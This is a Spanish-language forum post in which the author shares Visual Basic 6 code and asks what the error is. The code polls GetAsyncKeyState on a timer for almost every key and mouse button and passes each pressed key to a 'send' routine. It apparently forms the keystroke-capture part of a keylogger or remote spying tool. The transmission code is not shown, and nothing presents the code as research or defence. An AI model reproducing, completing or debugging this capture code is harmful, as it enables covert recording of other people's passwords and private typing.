modulo
Código:
Declare Function apikey Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
Código:
Private Sub Timer_key_Timer()
If apikey(144) Then Envia "keylock" 'falta 128-143
If apikey(127) Then Envia "keyf16"
If apikey(126) Then Envia "keyf15"
If apikey(125) Then Envia "keyf14"
If apikey(124) Then Envia "keyf13"
If apikey(123) Then Envia "keyf12"
If apikey(122) Then Envia "keyf11"
If apikey(121) Then Envia "keyf10"
If apikey(120) Then Envia "keyf9"
If apikey(119) Then Envia "keyf8"
If apikey(118) Then Envia "keyf7"
If apikey(117) Then Envia "keyf6"
If apikey(116) Then Envia "keyf5"
If apikey(115) Then Envia "keyf4"
If apikey(114) Then Envia "keyf3"
If apikey(113) Then Envia "keyf2"
If apikey(112) Then Envia "keyf1"
If apikey(111) Then Envia "keydivide"
If apikey(110) Then Envia "keydecimal"
If apikey(109) Then Envia "key-"
If apikey(108) Then Envia "keyfseparator" 'noce
If apikey(107) Then Envia "key+"
If apikey(106) Then Envia "key*"
If apikey(105) Then Envia "key9"
If apikey(104) Then Envia "key8"
If apikey(103) Then Envia "key7"
If apikey(102) Then Envia "key6"
If apikey(101) Then Envia "key5"
If apikey(100) Then Envia "key4"
If apikey(99) Then Envia "key3"
If apikey(98) Then Envia "key2"
If apikey(97) Then Envia "key1"
If apikey(96) Then Envia "key0"
If apikey(90) Then Envia "keyz"
If apikey(89) Then Envia "keyy"
If apikey(88) Then Envia "keyx"
If apikey(87) Then Envia "keyw"
If apikey(86) Then Envia "keyv"
If apikey(85) Then Envia "keyu"
If apikey(84) Then Envia "keyt"
If apikey(83) Then Envia "keys"
If apikey(82) Then Envia "keyr"
If apikey(81) Then Envia "keyq"
If apikey(80) Then Envia "keyp"
If apikey(79) Then Envia "keyo"
If apikey(78) Then Envia "keyn"
If apikey(77) Then Envia "keym"
If apikey(76) Then Envia "keyl"
If apikey(75) Then Envia "keyk"
If apikey(74) Then Envia "keyj"
If apikey(73) Then Envia "keyi"
If apikey(72) Then Envia "keyh"
If apikey(71) Then Envia "keyg"
If apikey(70) Then Envia "keyf"
If apikey(69) Then Envia "keye"
If apikey(68) Then Envia "keyd"
If apikey(67) Then Envia "keyc"
If apikey(66) Then Envia "keyb"
If apikey(65) Then Envia "keya" 'falta 58-64
If apikey(57) Then Envia "key9"
If apikey(56) Then Envia "key8"
If apikey(55) Then Envia "key7"
If apikey(54) Then Envia "key6"
If apikey(53) Then Envia "key5"
If apikey(52) Then Envia "key4"
If apikey(51) Then Envia "key3"
If apikey(50) Then Envia "key2"
If apikey(49) Then Envia "key1"
If apikey(48) Then Envia "key0"
If apikey(47) Then Envia "keyhelp" 'noce
If apikey(46) Then Envia "keysupr"
If apikey(45) Then Envia "keyinsert"
If apikey(44) Then Envia "keysnapshot" 'Impr-pant-petsis
If apikey(43) Then Envia "keyexecute" 'noce
If apikey(42) Then Envia "keyprint" 'noce
If apikey(41) Then Envia "keyselect" 'noce
If apikey(40) Then Envia "keydown"
If apikey(39) Then Envia "keyright"
If apikey(38) Then Envia "keyup"
If apikey(37) Then Envia "keyleft"
If apikey(36) Then Envia "keyhome"
If apikey(35) Then Envia "keyend"
If apikey(34) Then Envia "keypagdown"
If apikey(33) Then Envia "keypagup"
If apikey(32) Then Envia "keyspace" 'falta 28-31
If apikey(27) Then Envia "keyesc" 'falta 21-26
If apikey(20) Then Envia "keycapital" 'BLOQMAYUS
If apikey(18) Then Envia "keymenu" 'alt
If apikey(19) Then Envia "keyPause" 'pause-inter
If apikey(17) Then Envia "keyctrl"
If apikey(16) Then Envia "keyshif"
If apikey(13) Then Envia "keyenter"
If apikey(12) Then Envia "keyclear" 'noce
If apikey(9) Then Envia "keytab"
If apikey(8) Then Envia "keyback"
If apikey(4) Then Envia "keymbutton" 'noce
If apikey(3) Then Envia "keycancel" 'noce
If apikey(2) Then Envia "keyclickderecho"
If apikey(1) Then Envia "keyclickizquierdo"
End Sub
miren
cual es el error? xfa